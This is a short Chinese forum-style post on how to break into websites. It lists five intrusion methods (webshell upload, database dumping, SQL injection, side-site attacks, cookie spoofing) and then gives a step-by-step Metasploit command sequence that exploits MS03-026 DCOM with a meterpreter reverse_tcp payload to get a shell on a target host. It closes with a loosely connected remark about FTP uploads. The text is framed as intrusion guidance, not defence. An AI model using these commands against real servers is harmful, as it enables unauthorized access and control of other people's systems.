入侵网站有多少种方法？

目前常用的网站入侵方法有五种：上传漏洞、暴库、注入、旁注、COOKIE诈骗。

1、上传漏洞：利用上传漏洞可以直接得到Web shell，危害等级超级高，现在的入侵中上传漏洞也是常见的漏洞。

2、暴库：暴库就是提交字符得到数据库文件，得到了数据库文件我们就直接有了站点的前台或者后台的权限。

3.注入漏洞：这个漏洞是现在应用最广泛，杀伤力也很大的漏洞，可以说微软的官方网站也存在着注入漏洞注入漏洞是因为字符过滤不严谨所造成的，可以得到管理员的账号密码等相关资料。

4、旁注：找到和这个站同一服务器的站点，然后在利用这个站点进行提权，嗅探等方法来入侵我们要入侵的站点。

5、COOKIE诈骗：COOKIE是上网时由网站所为你发送的值记录了你的一些资料，比如说：IP、姓名等。

简单的nmap攻击（默认服务器开启135端口）先用上述nmap扫描目标主机信息，然后进入命令行

msfconsole

searchms03-026-dcom

use exploit/windows/dcerpc/ms03_026_dcom/

set PAYLOAD windows/meterpreter/reverse_tcp（选择工具）

set RHOST 192.168.1.10//目标主机

set LHOST 192.168.1.11 //操作主机

exploit 执行命令

shell 得到目标shell，基本可以为所欲为了

前提是你要知道服务器的ip 如果你和服务器是局网的话你就直接在IE栏输入比如局网ip：ftp://192.168.1.## 就可以进入服务器端口了。

如果你和服务器是外网的话，你就必须知道服务器的WAN口ip是多少，

在IE栏输入比如外网ip：ftp://112.4.207.### 就可以进入服务器端口了。

也可以下载一个 FTP软件来上传，以flashfxp为例。

FlashFXP是一款功能强大的FXP/FTP软件，集各种优秀FTP工具软件的优点

如果ftp帐号的权限不允许你上传东西的话 就没办法了！ 入侵就别想了！服务器的防火墙和杀毒配置都很好的！现在黑客高手也头疼，很难实现愿望的！

---